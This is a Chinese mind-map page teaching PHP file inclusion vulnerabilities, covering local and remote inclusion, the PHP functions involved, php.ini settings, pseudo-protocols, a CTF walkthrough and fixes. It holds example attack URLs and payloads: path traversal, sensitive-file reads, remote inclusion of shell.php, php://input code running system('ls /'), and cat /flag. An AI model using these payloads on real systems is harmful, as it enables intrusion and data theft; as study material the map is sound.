导图社区 1.文件包含
在C语言中文件包含是指一个源文件可以将另一个源文件的全部内容包含进来。该命令的作用是在预编译时,将指定源文件的内容复制到当前文件中。文件包含是C语言预处理命令三个内容之一。
后渗透之meterpretermeterpreter常用命令1.基本命令2.文件系统命令3.网络命令4.键盘监听5.系统命令6.mimikatz7.网络嗅探8.获取敏感信息9.获取 Hash10.通过 Hash 获..
meterpreter是metasploit中的一个杀手锏,通常在漏洞利用成功后,会返回给攻击者一个攻击通道,其中有很多自动化操作 首先,我们使用metasploit中的另一个后门工具msfvenom生成一个木马...
第一步:终端启动MSFCONSOLE 以管理员身份运行 sudo msfconsole 出现msf提示符了,就登录成功了 第二步:寻找模块 使用search加上自己想找的模块(相当于模糊查询) 使用search命令搜索所有有效的Linux模块 search linux
社区模板帮助中心,点此进入>>
互联网9大思维
组织架构-单商户商城webAPP 思维导图。
域控上线
python思维导图
css
CSS
计算机操作系统思维导图
计算机组成原理
IMX6UL(A7)
考试学情分析系统
文件包含
什么是文件包含漏洞
为什么要包含文件
包含内容
包含页头、页脚
包含函数
公共函数
减少重复代码、便于维护
可能引发问题
可能会导致允许访问敏感文件或执行恶意代码,造成漏洞
分类
本地文件包含(Local file Inclusion)
固定包含
fileinc/footer.php
fileinc/main.php
通过接口动态包含
http://localhost/fileinc/include.php?file=footer.php
包含恶意代码或图片马
http://localhost/fileinc/include.php?file=shell.php
包含敏感文件
http://localhost/fileinc/include.php?file=C:\Windows\system.ini
http://localhost/fileinc/include.php?file=../../upload/index.php
远程文件包含(Remote file inclusion)
配置
allow_url_fopen on
allow_url_include on
访问
http://localhost/fileinc/include.php?file=http://远程IP/1.txt
http://localhost/fileinc/include.php?file=http://远程IP/alert.html
http://localhost/fileinc/include.php?file=http://远程IP/shell.php
PHP相关函数和伪协议
基本理论:包含该文件会被当做PHP代码执行,PHP内核并不会在意该包含的文件是什么类型
函数
include()
用到的时候在加载,引入文件的时候,如果碰到错误,会给出提示,并继续运行
https://www.php.net/manual/zh/function.include.php
include_once()
在一开始就加载,引入文件的时候,如果遇到错误,会线出提示,并停止运行下面的代码
https://www.php.net/manual/zh/function.include-once.php
require()
require_once()
fopen()
readfile()
highlight_file
show_source
file_get_contents
file
php.ini 参数设置
allow_url_fopen:默认值是ON。允许url里的封装协议访问文件
allow_url_include:默认值是OFF。不允许包含url里的封装协议包含文件
伪协议
file:// ---- 访问本地文件系统
http:// ---- 访问HTTP(s)网址
ftp:// ---- 访问FTP(s)URL(s)
php:// ---- 访问各个输入/输出流(I/O streams)
php://input:php执行时会将post内容当作文件内容 注:当enctype="multipart/form-data"时 php://input是无效的
php://filter:用于读取源码 范式(建议记下来):变量=PHP://filter/convert.base64/resource=文件名
zlib:// ---- 压缩流
data:// ---- 数据(RFC 2397)
glob:// ---- 查找匹配的文件路径模式
phar:// ---- PHP归档
ssh2:// ---- Secure Shell 2
rar:// ---- RAR
ogg:// ---- 音频流
expect:// ---- 处理交互式的流
CTF题目案例
http://challenge-06af585d6dd7039e. sandbox.ctfhub.com:10800/?file=shell.txt
POST请求(hackbar)
ctfhub=system('ls');
参数看根下名字为flag
ctfhub=system("find / -name flag")
参数查看flag
ctfhub=system("cat /flag")
php://input
POST
?file=php://input
<?php system("ls /")?>
参数
<?php system('cat /lag_16571');?>
php://filter
直接用POST,?file=php:filter/resource=/flag
文件包含漏洞挖掘与利用
发现
URL关键字
代码审计
利用流程
1、发现漏洞
2、上传shell /读取敏感文件(FUZZ)
3、执行恶意代码
文件包含漏洞修复方案
1、PHP配置
2、禁用动态包含
3、过滤协议、目录字符
4、设置文件白名单